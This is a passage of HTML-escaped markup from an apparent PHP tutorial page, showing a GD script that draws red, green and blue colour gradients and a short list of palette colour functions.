&lt;span class=&quot;crayon-v&quot;&gt;$col&lt;/span&gt;&lt;span class=&quot;crayon-h&quot;&gt; &lt;/span&gt;&lt;span class=&quot;crayon-o&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;crayon-h&quot;&gt; &lt;/span&gt;&lt;span class=&quot;crayon-e&quot;&gt;ImageColorAllocate&lt;/span&gt;&lt;span class=&quot;crayon-sy&quot;&gt;&lt;span class=&quot;GINGER_SOFATWARE_mark&quot; ginger_sofatware_uiphraseguid=&quot;16c15081-2194-4a53-b086-ae0792c9dadb&quot; id=&quot;012eccad-a86e-4836-a53c-4370367f3391&quot;&gt;(&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;crayon-v&quot;&gt;$im&lt;/span&gt;&lt;span class=&quot;crayon-sy&quot;&gt;&lt;span class=&quot;GINGER_SOFATWARE_mark&quot; ginger_sofatware_uiphraseguid=&quot;16c15081-2194-4a53-b086-ae0792c9dadb&quot; id=&quot;011c3f43-8e4c-47a9-a10c-91b853927561&quot;&gt;,&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;crayon-v&quot;&gt;$r&lt;/span&gt;&lt;span class=&quot;crayon-sy&quot;&gt;&lt;span class=&quot;GINGER_SOFATWARE_mark&quot; ginger_sofatware_uiphraseguid=&quot;16c15081-2194-4a53-b086-ae0792c9dadb&quot; id=&quot;5bf5e3b6-27d2-41a2-895e-b54762ebe143&quot;&gt;,&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;crayon-cn&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;crayon-sy&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;crayon-cn&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;crayon-sy&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;crayon-sy&quot;&gt;;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;crayon-line&quot; id=&quot;crayon-51d0613213dc8-5&quot;&gt;
&lt;span class=&quot;crayon-e&quot;&gt;&lt;span class=&quot;GINGER_SOFATWARE_mark&quot; ginger_sofatware_uiphraseguid=&quot;198dd6c5-0096-423d-ab8e-5ea6bb1a7c5c&quot; id=&quot;1d6b7e6e-f748-45bd-a0d4-bc763ddcc8f0&quot;&gt;ImageLine&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;crayon-sy&quot;&gt;&lt;span class=&quot;GINGER_SOFATWARE_mark&quot; ginger_sofatware_uiphraseguid=&quot;198dd6c5-0096-423d-ab8e-5ea6bb1a7c5c&quot; id=&quot;4abff447-2e30-4e02-982b-3b6083234149&quot;&gt;(&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;crayon-v&quot;&gt;$im&lt;/span&gt;&lt;span class=&quot;crayon-sy&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;crayon-h&quot;&gt; &lt;/span&gt;&lt;span class=&quot;crayon-cn&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;crayon-sy&quot;&gt;&lt;span class=&quot;GINGER_SOFATWARE_mark&quot; ginger_sofatware_uiphraseguid=&quot;198dd6c5-0096-423d-ab8e-5ea6bb1a7c5c&quot; id=&quot;3146f53a-d460-49d9-8747-d7034723e9e7&quot;&gt;,&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;crayon-v&quot;&gt;$r&lt;/span&gt;&lt;span class=&quot;crayon-sy&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;crayon-h&quot;&gt; &lt;/span&gt;&lt;span class=&quot;crayon-cn&quot;&gt;100&lt;/span&gt;&lt;span class=&quot;crayon-sy&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;crayon-h&quot;&gt; &lt;/span&gt;&lt;span class=&quot;crayon-v&quot;&gt;$r&lt;/span&gt;&lt;span class=&quot;crayon-sy&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;crayon-h&quot;&gt; &lt;/span&gt;&lt;span class=&quot;crayon-v&quot;&gt;$col&lt;/span&gt;&lt;span class=&quot;crayon-sy&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;crayon-sy&quot;&gt;;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;crayon-line crayon-striped-line&quot; id=&quot;crayon-51d0613213dc8-6&quot;&gt;
&lt;span class=&quot;crayon-sy&quot;&gt;}&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;crayon-line&quot; id=&quot;crayon-51d0613213dc8-7&quot;&gt;
&lt;span class=&quot;crayon-st&quot;&gt;&lt;span class=&quot;GINGER_SOFATWARE_mark&quot; ginger_sofatware_uiphraseguid=&quot;d5ee9a3a-84b7-4897-9c52-8bded5e2266c&quot; id=&quot;9f8da1aa-732e-4904-bb78-3cacb6101535&quot;&gt;for&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;crayon-sy&quot;&gt;&lt;span class=&quot;GINGER_SOFATWARE_mark&quot; ginger_sofatware_uiphraseguid=&quot;d5ee9a3a-84b7-4897-9c52-8bded5e2266c&quot; id=&quot;256673f5-dd02-4de5-afd9-10af67e0f657&quot;&gt;(&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;crayon-v&quot;&gt;$g&lt;/span&gt;&lt;span class=&quot;crayon-o&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;crayon-cn&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;crayon-sy&quot;&gt;;&lt;/span&gt;&lt;span class=&quot;crayon-h&quot;&gt; &lt;/span&gt;&lt;span class=&quot;crayon-v&quot;&gt;$g&lt;/span&gt;&lt;span class=&quot;crayon-o&quot;&gt;&amp;lt;&lt;/span&gt;&lt;span class=&quot;crayon-cn&quot;&gt;256&lt;/span&gt;&lt;span class=&quot;crayon-sy&quot;&gt;;&lt;/span&gt;&lt;span class=&quot;crayon-h&quot;&gt; &lt;/span&gt;&lt;span class=&quot;crayon-v&quot;&gt;$g&lt;/span&gt;&lt;span class=&quot;crayon-o&quot;&gt;++&lt;/span&gt;&lt;span class=&quot;crayon-sy&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;crayon-h&quot;&gt; &lt;/span&gt;&lt;span class=&quot;crayon-sy&quot;&gt;{&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;crayon-line crayon-striped-line&quot; id=&quot;crayon-51d0613213dc8-8&quot;&gt;
&lt;span class=&quot;crayon-v&quot;&gt;$col&lt;/span&gt;&lt;span class=&quot;crayon-h&quot;&gt; &lt;/span&gt;&lt;span class=&quot;crayon-o&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;crayon-h&quot;&gt; &lt;/span&gt;&lt;span class=&quot;crayon-e&quot;&gt;ImageColorAllocate&lt;/span&gt;&lt;span class=&quot;crayon-sy&quot;&gt;&lt;span class=&quot;GINGER_SOFATWARE_mark&quot; ginger_sofatware_uiphraseguid=&quot;245b3b34-9e94-43f6-8230-17abc2e2cef8&quot; id=&quot;4fe870c8-0ea4-4e17-b385-8ed2e00d600a&quot;&gt;(&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;crayon-v&quot;&gt;$im&lt;/span&gt;&lt;span class=&quot;crayon-sy&quot;&gt;&lt;span class=&quot;GINGER_SOFATWARE_mark&quot; ginger_sofatware_uiphraseguid=&quot;245b3b34-9e94-43f6-8230-17abc2e2cef8&quot; id=&quot;fdb0d0e4-024a-4adc-a639-6cade39d181d&quot;&gt;,&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;crayon-cn&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;crayon-sy&quot;&gt;&lt;span class=&quot;GINGER_SOFATWARE_mark&quot; ginger_sofatware_uiphraseguid=&quot;245b3b34-9e94-43f6-8230-17abc2e2cef8&quot; id=&quot;0de28668-a718-49a3-b522-c9b87f8d1fb5&quot;&gt;,&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;crayon-v&quot;&gt;$g&lt;/span&gt;&lt;span class=&quot;crayon-sy&quot;&gt;&lt;span class=&quot;GINGER_SOFATWARE_mark&quot; ginger_sofatware_uiphraseguid=&quot;245b3b34-9e94-43f6-8230-17abc2e2cef8&quot; id=&quot;3bc28f02-93d2-4fda-aa97-18536b28d576&quot;&gt;,&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;crayon-cn&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;crayon-sy&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;crayon-sy&quot;&gt;;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;crayon-line&quot; id=&quot;crayon-51d0613213dc8-9&quot;&gt;
&lt;span class=&quot;crayon-e&quot;&gt;ImageLine&lt;/span&gt;&lt;span class=&quot;crayon-sy&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;crayon-v&quot;&gt;$im&lt;/span&gt;&lt;span class=&quot;crayon-sy&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;crayon-h&quot;&gt; &lt;/span&gt;&lt;span class=&quot;crayon-cn&quot;&gt;100&lt;/span&gt;&lt;span class=&quot;crayon-sy&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;crayon-cn&quot;&gt;255&lt;/span&gt;&lt;span class=&quot;crayon-o&quot;&gt;-&lt;/span&gt;&lt;span class=&quot;crayon-v&quot;&gt;$g&lt;/span&gt;&lt;span class=&quot;crayon-sy&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;crayon-h&quot;&gt; &lt;/span&gt;&lt;span class=&quot;crayon-cn&quot;&gt;200&lt;/span&gt;&lt;span class=&quot;crayon-sy&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;crayon-h&quot;&gt; &lt;/span&gt;&lt;span class=&quot;crayon-cn&quot;&gt;255&lt;/span&gt;&lt;span class=&quot;crayon-o&quot;&gt;-&lt;/span&gt;&lt;span class=&quot;crayon-v&quot;&gt;$g&lt;/span&gt;&lt;span class=&quot;crayon-sy&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;crayon-h&quot;&gt; &lt;/span&gt;&lt;span class=&quot;crayon-v&quot;&gt;$col&lt;/span&gt;&lt;span class=&quot;crayon-sy&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;crayon-sy&quot;&gt;;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;crayon-line crayon-striped-line&quot; id=&quot;crayon-51d0613213dc8-10&quot;&gt;
&lt;span class=&quot;crayon-sy&quot;&gt;}&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;crayon-line&quot; id=&quot;crayon-51d0613213dc8-11&quot;&gt;
&lt;span class=&quot;crayon-st&quot;&gt;&lt;span class=&quot;GINGER_SOFATWARE_mark&quot; ginger_sofatware_uiphraseguid=&quot;d4a112e9-9ef4-462d-961a-bc3159286452&quot; id=&quot;f112d544-2c5e-43c4-bbfa-3c6ccf4314dd&quot;&gt;for&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;crayon-sy&quot;&gt;&lt;span class=&quot;GINGER_SOFATWARE_mark&quot; ginger_sofatware_uiphraseguid=&quot;d4a112e9-9ef4-462d-961a-bc3159286452&quot; id=&quot;c1709541-45dd-4a75-aca1-1b2ae701961d&quot;&gt;(&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;crayon-v&quot;&gt;$b&lt;/span&gt;&lt;span class=&quot;crayon-o&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;crayon-cn&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;crayon-sy&quot;&gt;;&lt;/span&gt;&lt;span class=&quot;crayon-h&quot;&gt; &lt;/span&gt;&lt;span class=&quot;crayon-v&quot;&gt;$b&lt;/span&gt;&lt;span class=&quot;crayon-o&quot;&gt;&amp;lt;&lt;/span&gt;&lt;span class=&quot;crayon-cn&quot;&gt;256&lt;/span&gt;&lt;span class=&quot;crayon-sy&quot;&gt;;&lt;/span&gt;&lt;span class=&quot;crayon-h&quot;&gt; &lt;/span&gt;&lt;span class=&quot;crayon-v&quot;&gt;$b&lt;/span&gt;&lt;span class=&quot;crayon-o&quot;&gt;++&lt;/span&gt;&lt;span class=&quot;crayon-sy&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;crayon-h&quot;&gt; &lt;/span&gt;&lt;span class=&quot;crayon-sy&quot;&gt;{&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;crayon-line crayon-striped-line&quot; id=&quot;crayon-51d0613213dc8-12&quot;&gt;
&lt;span class=&quot;crayon-v&quot;&gt;$col&lt;/span&gt;&lt;span class=&quot;crayon-h&quot;&gt; &lt;/span&gt;&lt;span class=&quot;crayon-o&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;crayon-h&quot;&gt; &lt;/span&gt;&lt;span class=&quot;crayon-e&quot;&gt;ImageColorAllocate&lt;/span&gt;&lt;span class=&quot;crayon-sy&quot;&gt;&lt;span class=&quot;GINGER_SOFATWARE_mark&quot; ginger_sofatware_uiphraseguid=&quot;137f5711-0b48-4604-95b7-37f81d625eca&quot; id=&quot;da684ac7-983e-443e-847c-c37b8d88d76d&quot;&gt;(&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;crayon-v&quot;&gt;$im&lt;/span&gt;&lt;span class=&quot;crayon-sy&quot;&gt;&lt;span class=&quot;GINGER_SOFATWARE_mark&quot; ginger_sofatware_uiphraseguid=&quot;137f5711-0b48-4604-95b7-37f81d625eca&quot; id=&quot;77f1bd68-c41e-4138-af33-b2fab28cdbdd&quot;&gt;,&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;crayon-cn&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;crayon-sy&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;crayon-cn&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;crayon-sy&quot;&gt;&lt;span class=&quot;GINGER_SOFATWARE_mark&quot; ginger_sofatware_uiphraseguid=&quot;137f5711-0b48-4604-95b7-37f81d625eca&quot; id=&quot;db4a3f73-32ea-489a-af5c-ff11693289de&quot;&gt;,&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;crayon-v&quot;&gt;$b&lt;/span&gt;&lt;span class=&quot;crayon-sy&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;crayon-sy&quot;&gt;;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;crayon-line&quot; id=&quot;crayon-51d0613213dc8-13&quot;&gt;
&lt;span class=&quot;crayon-e&quot;&gt;ImageLine&lt;/span&gt;&lt;span class=&quot;crayon-sy&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;crayon-v&quot;&gt;$im&lt;/span&gt;&lt;span class=&quot;crayon-sy&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;crayon-h&quot;&gt; &lt;/span&gt;&lt;span class=&quot;crayon-cn&quot;&gt;200&lt;/span&gt;&lt;span class=&quot;crayon-sy&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;crayon-v&quot;&gt;$b&lt;/span&gt;&lt;span class=&quot;crayon-sy&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;crayon-h&quot;&gt; &lt;/span&gt;&lt;span class=&quot;crayon-cn&quot;&gt;300&lt;/span&gt;&lt;span class=&quot;crayon-sy&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;crayon-h&quot;&gt; &lt;/span&gt;&lt;span class=&quot;crayon-v&quot;&gt;$b&lt;/span&gt;&lt;span class=&quot;crayon-sy&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;crayon-h&quot;&gt; &lt;/span&gt;&lt;span class=&quot;crayon-v&quot;&gt;$col&lt;/span&gt;&lt;span class=&quot;crayon-sy&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;crayon-sy&quot;&gt;;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;crayon-line crayon-striped-line&quot; id=&quot;crayon-51d0613213dc8-14&quot;&gt;
&lt;span class=&quot;crayon-sy&quot;&gt;}&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;crayon-line&quot; id=&quot;crayon-51d0613213dc8-15&quot;&gt;
&lt;span class=&quot;crayon-e&quot;&gt;Header&lt;/span&gt;&lt;span class=&quot;crayon-sy&quot;&gt;&lt;span class=&quot;GINGER_SOFATWARE_mark&quot; ginger_sofatware_uiphraseguid=&quot;b432a1e6-1853-4b90-8475-13830e0ee28a&quot; id=&quot;7dacf3d7-878c-497f-b1e0-fccb0661518b&quot;&gt;(&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;crayon-s&quot;&gt;&#39;Content-Type: image/png&#39;&lt;/span&gt;&lt;span class=&quot;crayon-sy&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;crayon-sy&quot;&gt;;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;crayon-line crayon-striped-line&quot; id=&quot;crayon-51d0613213dc8-16&quot;&gt;
&lt;span class=&quot;crayon-e&quot;&gt;&lt;span class=&quot;GINGER_SOFATWARE_mark&quot; ginger_sofatware_uiphraseguid=&quot;9b4b1fbe-4957-488d-91e2-6a96c74af6ee&quot; id=&quot;d4e0332f-8db1-4fa2-a216-be9f27410b46&quot;&gt;ImagePNG&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;crayon-sy&quot;&gt;&lt;span class=&quot;GINGER_SOFATWARE_mark&quot; ginger_sofatware_uiphraseguid=&quot;9b4b1fbe-4957-488d-91e2-6a96c74af6ee&quot; id=&quot;8219c544-d6b1-4ea8-a1e9-ae6c679d80e8&quot;&gt;(&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;crayon-v&quot;&gt;$im&lt;/span&gt;&lt;span class=&quot;crayon-sy&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;crayon-sy&quot;&gt;;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;crayon-line&quot; id=&quot;crayon-51d0613213dc8-17&quot;&gt;
&lt;span class=&quot;crayon-ta&quot;&gt;?&amp;gt;&lt;/span&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;/td&gt;
					&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;h5&gt;
Output&lt;/h5&gt;
&lt;a href=&quot;http://voidtricks.com/wp-content/uploads/2013/06/color-handling.jpg&quot;&gt;&lt;img alt=&quot;paint colors&quot; class=&quot;alignnone size-full wp-image-624&quot; height=&quot;256&quot; src=&quot;http://voidtricks.com/wp-content/uploads/2013/06/color-handling.jpg&quot; width=&quot;300&quot; /&gt;&lt;/a&gt;&lt;br /&gt;

For paletted images the following functions can be useful:&lt;br /&gt;

&lt;ul&gt;
&lt;li&gt;&lt;span class=&quot;GINGER_SOFATWARE_mark&quot; ginger_sofatware_uiphraseguid=&quot;891a6a24-a75c-43d7-9218-7939b736b175&quot; id=&quot;aa0d0230-3033-47c6-b26d-11edd0d84a0e&quot;&gt;ImageColorClosest&lt;/span&gt;&lt;/li&gt;
&lt;li&gt;&lt;span class=&quot;GINGER_SOFATWARE_mark&quot; ginger_sofatware_uiphraseguid=&quot;7ea0c1cd-35fd-4129-aff5-6ce86de6eb1a&quot; id=&quot;c3b3d7f1-5620-474e-a709-4b33dede755d&quot;&gt;ImageColorExact&lt;/span&gt;&lt;/li&gt;
&lt;li&gt;&lt;span class=&quot;GINGER_SOFATWARE_mark&quot; ginger_sofatware_uiphraseguid=&quot;68255b0d-acd1-41af-a174-aeb6d5afd649&quot; id=&quot;9d7b91bf-e3c5-4a95-9d96-b39e64720579&quot;&gt;ImageColorDeallocate&lt;/span&gt;&lt;/li&gt;
&lt;/ul&gt;
For &lt;a href=&quot;http://www.true-colors.com/%E2%80%8E&quot; target=&quot;_blank&quot; title=&quot;truecolor&quot;&gt;Truecolor&lt;/a&gt; images we have no such issues.&lt;br /&gt;



		&lt;div class=&quot;crayon-syntax crayon-theme-classic crayon-font-monaco crayon-os-pc print-yes&quot; data-settings=&quot; minimize scroll-mouseover&quot; id=&quot;crayon-51d0613213e11&quot; style=&quot;clear: both; float: none; font-size: 12px ! important; height: auto; line-height: 15px ! important; margin-bottom: 12px; margin-top: 12px;&quot;&gt;
		
			
			
			&lt;div class=&quot;crayon-plain-wrap&quot;&gt;
&lt;textarea class=&quot;crayon-plain print-no&quot; data-settings=&quot;dblclick&quot; readonly=&quot;readonly&quot; style=&quot;-moz-tab-size: 4; font-size: 12px ! important; line-height: 15px ! important; opacity: 0; overflow: hidden; z-index: 0;&quot; wrap=&quot;off&quot;&gt;&lt;&lt;span class=&quot;GINGER_SOFATWARE_mark&quot; ginger_sofatware_uiphraseguid=&quot;616931a4-d17b-4175-925c-be9c1db9b93d&quot; id=&quot;e35011ec-e31d-45b4-9e43-174992ae3bb9&quot;&gt;?&lt;/span&gt;&lt;span class=&quot;GINGER_SOFATWARE_mark&quot; ginger_sofatware_uiphraseguid=&quot;616931a4-d17b-4175-925c-be9c1db9b93d&quot; id=&quot;68c4664e-d4f6-4e0c-97d9-b1faa4c5c535&quot;&gt;php&lt;/span&gt;
$im = ImageCreateTruecolor&lt;span class=&quot;GINGER_SOFATWARE_mark&quot; ginger_sofatware_uiphraseguid=&quot;6f08c0de-5c6a-4720-8064-de352ce9e83b&quot; id=&quot;78d7e9da-532d-4414-8a79-1cf6348eec82&quot;&gt;(&lt;/span&gt;300,256);
&lt;span class=&quot;GINGER_SOFATWARE_mark&quot; ginger_sofatware_uiphraseguid=&quot;7bebd187-b974-4dc8-b7c9-390f2945d127&quot; id=&quot;635037f6-0015-491c-8648-b60f83bfcb53&quot;&gt;for&lt;/span&gt;&lt;span class=&quot;GINGER_SOFATWARE_mark&quot; ginger_sofatware_uiphraseguid=&quot;7bebd187-b974-4dc8-b7c9-390f2945d127&quot; id=&quot;060af639-b065-4ec0-b4fc-73c2fd368bf3&quot;&gt;(&lt;/span&gt;$r=0; $r&lt;256; $r++) {
$col = ImageColorAllocate&lt;span class=&quot;GINGER_SOFATWARE_mark&quot; ginger_sofatware_uiphraseguid=&quot;a1d6e4ad-d0f1-474c-ba13-979d31cacd6e&quot; id=&quot;d5b61853-a720-4979-b5a3-4048c81ea7e7&quot;&gt;(&lt;/span&gt;$im&lt;span class=&quot;GINGER_SOFATWARE_mark&quot; ginger_sofatware_uiphraseguid=&quot;a1d6e4ad-d0f1-474c-ba13-979d31cacd6e&quot; id=&quot;f8721c1d-3580-4247-8fe9-d7895176afb6&quot;&gt;,&lt;/span&gt;$r&lt;span class=&quot;GINGER_SOFATWARE_mark&quot; ginger_sofatware_uiphraseguid=&quot;a1d6e4ad-d0f1-474c-ba13-979d31cacd6e&quot; id=&quot;f8d169c3-a423-4860-9047-5c0b4f5938f9&quot;&gt;,&lt;/span&gt;0,0);
&lt;span class=&quot;GINGER_SOFATWARE_mark&quot; ginger_sofatware_uiphraseguid=&quot;ba1c492e-675e-4ac9-b99c-13adb5969e50&quot; id=&quot;a7c7b564-6d20-43b9-a30a-870584a3f4fa&quot;&gt;ImageLine&lt;/span&gt;&lt;span class=&quot;GINGER_SOFATWARE_mark&quot; ginger_sofatware_uiphraseguid=&quot;ba1c492e-675e-4ac9-b99c-13adb5969e50&quot; id=&quot;85522e22-c927-40d1-9fc2-3eede5b6119a&quot;&gt;(&lt;/span&gt;$im, 0&lt;span class=&quot;GINGER_SOFATWARE_mark&quot; ginger_sofatware_uiphraseguid=&quot;ba1c492e-675e-4ac9-b99c-13adb5969e50&quot; id=&quot;95607db6-6e8b-414a-b59c-c42d91abd4ba&quot;&gt;,&lt;/span&gt;$r, 100, $r, $col);
}
&lt;span class=&quot;GINGER_SOFATWARE_mark&quot; ginger_sofatware_uiphraseguid=&quot;7acc53a7-ecf6-48c7-b188-a206bc317ca7&quot; id=&quot;36da3bf2-46ca-49d9-a39b-48c2d33ab6d3&quot;&gt;for&lt;/span&gt;&lt;span class=&quot;GINGER_SOFATWARE_mark&quot; ginger_sofatware_uiphraseguid=&quot;7acc53a7-ecf6-48c7-b188-a206bc317ca7&quot; id=&quot;a632a22f-67a8-4e75-8129-7cb562c1ffb3&quot;&gt;(&lt;/span&gt;$g=0; $g&lt;256; $g++) {
$col = ImageColorAllocate&lt;span class=&quot;GINGER_SOFATWARE_mark&quot; ginger_sofatware_uiphraseguid=&quot;2a4226fa-398e-4388-89e6-1a184b595b66&quot; id=&quot;863ff7a8-da9f-4e29-9e8f-06974f1adf88&quot;&gt;(&lt;/span&gt;$im&lt;span class=&quot;GINGER_SOFATWARE_mark&quot; ginger_sofatware_uiphraseguid=&quot;2a4226fa-398e-4388-89e6-1a184b595b66&quot; id=&quot;f0776cd2-ba47-491f-bda4-973adef42af7&quot;&gt;,&lt;/span&gt;0&lt;span class=&quot;GINGER_SOFATWARE_mark&quot; ginger_sofatware_uiphraseguid=&quot;2a4226fa-398e-4388-89e6-1a184b595b66&quot; id=&quot;9472a9cc-376a-4e4f-bdb9-947c434d7cdc&quot;&gt;,&lt;/span&gt;$g&lt;span class=&quot;GINGER_SOFATWARE_mark&quot; ginger_sofatware_uiphraseguid=&quot;2a4226fa-398e-4388-89e6-1a184b595b66&quot; id=&quot;0f5bdecc-aec8-4ba3-ba71-3205d03f892c&quot;&gt;,&lt;/span&gt;0);
ImageLine($im, 100,255-$g, 200, 255-$g, $col);
}
&lt;span class=&quot;GINGER_SOFATWARE_mark&quot; ginger_sofatware_uiphraseguid=&quot;a7dcd1f7-17da-4529-bacd-f02be210eca6&quot; id=&quot;e85d0bf5-23dd-407c-b6e8-ea17716d0f29&quot;&gt;for&lt;/span&gt;&lt;span class=&quot;GINGER_SOFATWARE_mark&quot; ginger_sofatware_uiphraseguid=&quot;a7dcd1f7-17da-4529-bacd-f02be210eca6&quot; id=&quot;6bfa8e29-5cb3-4730-ace5-cefea93361b0&quot;&gt;(&lt;/span&gt;$b=0; $b&lt;256; $b++) {
$col = ImageColorAllocate&lt;span class=&quot;GINGER_SOFATWARE_mark&quot; ginger_sofatware_uiphraseguid=&quot;fe447483-8b65-4ebd-b055-d2ae3ed20c8c&quot; id=&quot;dac7ff40-df2c-43e9-b82a-7988022e5cbc&quot;&gt;(&lt;/span&gt;$im&lt;span class=&quot;GINGER_SOFATWARE_mark&quot; ginger_sofatware_uiphraseguid=&quot;fe447483-8b65-4ebd-b055-d2ae3ed20c8c&quot; id=&quot;5ffd247b-4300-4a5a-bec4-3c77c30187f2&quot;&gt;,&lt;/span&gt;0,0&lt;span class=&quot;GINGER_SOFATWARE_mark&quot; ginger_sofatware_uiphraseguid=&quot;fe447483-8b65-4ebd-b055-d2ae3ed20c8c&quot; id=&quot;cb5a7ffb-eecc-4bfb-bba2-5d402e7fdf28&quot;&gt;,&lt;/span&gt;$b);
ImageLine($im, 200,$b, 300, $b, $col);
}
Header&lt;span class=&quot;GINGER_SOFATWARE_mark&quot; ginger_sofatware_uiphraseguid=&quot;d2076107-4834-40e2-ac79-bbd2fb920fe2&quot; id=&quot;d1d1b6ca-a59b-47e6-84fd-6ee12a561abe&quot;&gt;(&lt;/span&gt;&#39;Content-Type: image/png&#39;);
&lt;span class=&quot;GINGER_SOFATWARE_mark&quot; ginger_sofatware_uiphraseguid=&quot;206a2927-4aa5-4cd2-8231-afbec40f3116&quot; id=&quot;802f15eb-f80f-461e-84d1-f27c6d72be00&quot;&gt;ImagePNG&lt;/span&gt;&lt;span class=&quot;GINGER_SOFATWARE_mark&quot; ginger_sofatware_uiphraseguid=&quot;206a2927-4aa5-4cd2-8231-afbec40f3116&quot; id=&quot;d8018a99-a86d-4ebb-bf6a-1282e2386cb5&quot;&gt;(&lt;/span&gt;$im);
?&gt;&lt;/textarea&gt;&lt;/div&gt;
&lt;div class=&quot;crayon-main&quot; style=&quot;overflow: hidden; position: relative; z-index: 1;&quot;&gt;
				&lt;table class=&quot;crayon-table&quot;&gt;
					&lt;tbody&gt;
&lt;tr class=&quot;crayon-row alt&quot;&gt;
				&lt;td class=&quot;crayon-nums &quot; data-settings=&quot;show&quot;&gt;
					&lt;div class=&quot;crayon-nums-content&quot; style=&quot;font-size: 12px !important; line-height: 15px !important;&quot;&gt;
&lt;div class=&quot;crayon-num&quot; data-line=&quot;crayon-51d0613213e11-1&quot;&gt;
1&lt;/div&gt;
&lt;div class=&quot;crayon-num crayon-striped-num&quot; data-line=&quot;crayon-51d0613213e11-2&quot;&gt;
2&lt;/div&gt;
&lt;div class=&quot;crayon-num&quot; data-line=&quot;crayon-51d0613213e11-3&quot;&gt;
3&lt;/div&gt;
&lt;div class=&quot;crayon-num crayon-striped-num&quot; data-line=&quot;crayon-51d0613213e11-4&quot;&gt;
4&lt;/div&gt;
&lt;div class=&quot;crayon-num&quot; data-line=&quot;crayon-51d0613213e11-5&quot;&gt;
5&lt;/div&gt;
&lt;div class=&quot;crayon-num crayon-striped-num&quot; data-line=&quot;crayon-51d0613213e11-6&quot;&gt;
6&lt;/div&gt;
&lt;div class=&quot;crayon-num&quot; data-line=&quot;crayon-51d0613213e11-7&quot;&gt;
7&lt;/div&gt;
&lt;div class=&quot;crayon-num crayon-striped-num&quot; data-line=&quot;crayon-51d0613213e11-8&quot;&gt;
8&lt;/div&gt;
&lt;div class=&quot;crayon-num&quot; data-line=&quot;crayon-51d0613213e11-9&quot;&gt;
9&lt;/div&gt;
&lt;div class=&quot;crayon-num crayon-striped-num&quot; data-line=&quot;crayon-51d0613213e11-10&quot;&gt;
10&lt;/div&gt;
&lt;div class=&quot;crayon-num&quot; data-line=&quot;crayon-51d0613213e11-11&quot;&gt;
11&lt;/div&gt;
&lt;div class=&quot;crayon-num crayon-striped-num&quot; data-line=&quot;crayon-51d0613213e11-12&quot;&gt;
12&lt;/div&gt;
&lt;div class=&quot;crayon-num&quot; data-line=&quot;crayon-51d0613213e11-13&quot;&gt;
13&lt;/div&gt;
